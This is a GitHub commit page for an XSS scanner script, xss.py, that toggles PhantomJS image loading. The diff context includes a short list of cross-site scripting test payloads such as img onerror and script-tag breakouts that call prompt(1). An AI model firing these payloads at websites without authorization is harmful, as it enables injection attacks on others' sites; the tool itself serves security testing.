Skip to content

Commit

Permalink
phantom img load
Browse files Browse the repository at this point in the history
  • Loading branch information
gwen001 committed Apr 18, 2020
1 parent e98ba2a commit 5b7b616
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions xss.py
Original file line number Diff line number Diff line change
Expand Up @@ -193,8 +193,8 @@ def doTest( url, method='GET', post_params='' ):
# _phantom = '/usr/local/bin/node'
if not os.path.isfile(_phantom):
parser.error( 'phantomjs not found!' )
# _phantom_cmd = _phantom + ' ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js'
_phantom_cmd = _phantom + ' --load-images=false ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js'
_phantom_cmd = _phantom + ' ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js'
# _phantom_cmd = _phantom + ' --load-images=false ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js'
# _phantom_cmd = _phantom + ' ' + os.path.dirname(os.path.realpath(__file__)) + '/puppeteer-xss.js'
# print( _phantom_cmd )

Expand Down Expand Up @@ -281,7 +281,7 @@ def doTest( url, method='GET', post_params='' ):
# source: https://twitter.com/brutelogic/status/1138805808328839170
if not n_payloads:
t_payloads = [
'\'"--><img src=x onerror=prompt(1)>',
'\'"--><img src=x onerror=prompt(1)>', # phantom image loading is disabled
'"autofocus onfocus=prompt(1)//',
'\'"--></script><script>prompt(1)</script>',
"'-prompt(1)-'",
Expand Down

0 comments on commit 5b7b616

Please sign in to comment.